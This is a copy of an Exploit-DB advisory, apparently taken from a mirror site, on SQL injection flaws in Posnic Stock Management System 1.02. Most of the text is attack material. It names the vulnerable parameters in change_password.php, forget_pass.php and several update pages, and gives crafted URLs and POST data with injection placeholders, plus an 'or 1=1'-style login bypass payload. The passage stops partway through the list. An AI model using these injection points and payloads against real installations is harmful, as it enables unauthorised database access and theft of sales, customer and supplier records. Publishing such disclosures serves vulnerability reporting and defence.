Posnic Stock Management System 1.02 – Multiple Vulnerabilities

Exploit Database
128 阅读

作者： Sarahma Security

日期： 2013-09-26
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/28563/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

# Exploit Title: Posnic Stock Management System 1.02 Multiple Vulnerabilities

# Date: 26 Sep 2013

# Vendor Homepage: http://www.posnic.com

# Software Link: http://sourceforge.net/projects/stockmanagement/?source=directory

# Version: 1.02

# Tested on: Win 7/Backtrack

# CVE :

# Exploit Author: Sarahma Security

# Author Homepage: http://sarahma.co.id

# Author Email: research@sarahma.co.id

========================

SQL Injection

========================

Found on

http://localhost/posnic/change_password.php

parameter : old_pass

post data : change_pass=Save&confirm_pass=acUn3t1x&new_pass=acUn3t1x&old_pass=1{SQL_HERE}

Found on

http://localhost/posnic/forget_pass.php

parameter : name

Payload : 1' or 1 = '1

Found on

http://localhost/posnic/update_sales.php

parameter : sid

http://localhost/posnic/update_sales.php?sid=22{SQL_HERE}&table=stock_sales&return=view_sales.php

Found on

http://localhost/posnic/update_customer_details.php

parameter : sid

http://localhost/posnic/update_customer_details.php?sid=9{SQL_HERE}&table=customer_details&return=view_customers.php

Found on

http://localhost/posnic/update_purchase.php

parameter : sid

http://localhost/posnic/update_purchase.php?sid=SD263{SQL_HERE}&table=stock_entries&return=view_purchase.php

Found on

http://localhost/posnic/update_supplier.php

parameter : sid

http://localhost/posnic/update_supplier.php?sid=38{SQL_HERE}&table=supplier_details&return=view_supplier.php

Found on

http://localhost/posnic/update_stock.php

parameter : sid

http://localhost/posnic/update_stock.php?sid=35{SQL_HERE}&table=stock_details&return=view_product.php

Found on

http://localhost/posnic/update_payment.php

parameter : sid

http://localhost/posnic/update_payment.php?sid=SD266{SQL_HERE}&table=stock_entries&return=view_payments.php

Found on

http://localhost/posnic/view_sales.php

parameter : searchtxt